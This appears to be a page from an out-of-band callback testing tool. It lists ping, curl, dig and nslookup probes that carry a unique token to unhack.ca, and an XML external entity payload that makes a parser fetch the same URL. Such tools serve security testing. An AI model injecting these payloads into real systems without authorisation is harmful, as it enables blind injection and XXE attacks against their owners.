$ ping -c1 -p 00b6b8b5f1ec9f81d887446848943200 unhack.ca
 
$ curl http://unhack.ca/p/b6b8b5f1ec9f81d8874468489432
 
$ dig b6b8b5f1ec9f81d8874468489432 @unhack.ca
 
$ dig b6b8b5f1ec9f81d8874468489432.ns.unhack.ca
 
C:\> nslookup b6b8b5f1ec9f81d8874468489432 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b6b8b5f1ec9f81d8874468489432">]>
    <foo>&xxe;</foo>
 
Waiting for ping...